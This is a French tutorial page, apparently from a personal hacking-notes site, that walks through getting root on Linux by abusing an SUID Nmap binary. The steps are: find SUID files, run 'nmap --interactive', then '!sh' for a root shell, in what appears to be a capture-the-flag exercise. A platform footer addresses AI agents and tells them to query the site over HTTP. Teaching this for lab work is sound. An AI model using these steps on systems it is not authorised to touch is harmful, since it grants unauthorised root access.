> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/suid/suid-nmap-linux-privilege-escalation.md).

# SUID (Nmap) - Élévation de privilèges Linux

## Ce que c’est

Les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root. Un binaire SUID vulnérable, obsolète ou trop flexible peut lire des fichiers protégés, lancer un shell privilégié ou exécuter du code contrôlé par l’attaquant. Cette page spécifique se concentre sur **SUID (Nmap)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Exemples

#### Découverte de fichiers SUID

Nous recherchons les fichiers dont le bit SUID est activé à l’aide de la commande suivante :

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/976584c414e2f5e03e74b50a0bad0c1373e72bfd" alt=""><figcaption></figcaption></figure>

#### Identification avec Nmap

Parmi les fichiers listés, on trouve **Nmap**.

#### Exploitation

Nmap peut être utilisé en mode interactif pour exécuter des commandes en tant que root. Voici les étapes :

Lancez Nmap en mode interactif :

```bash
nmap --interactive
```

Exécutez des commandes en tant que root, par exemple :

```bash
!whoami
```

Cela affiche « root ».

<figure><img src="/files/b37e4e74e48ca3b7c6ee19c003f33921c0cbe5f5" alt="" width="563"><figcaption></figcaption></figure>

Obtenez un shell root :

```bash
!sh
```

Une fois dans le shell root, accédez au **fichier root. txt** pour récupérer le flag.

<figure><img src="/files/ee6108c655a1dfacb70efce30d6eef2ed11e1858" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/suid/suid-nmap-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
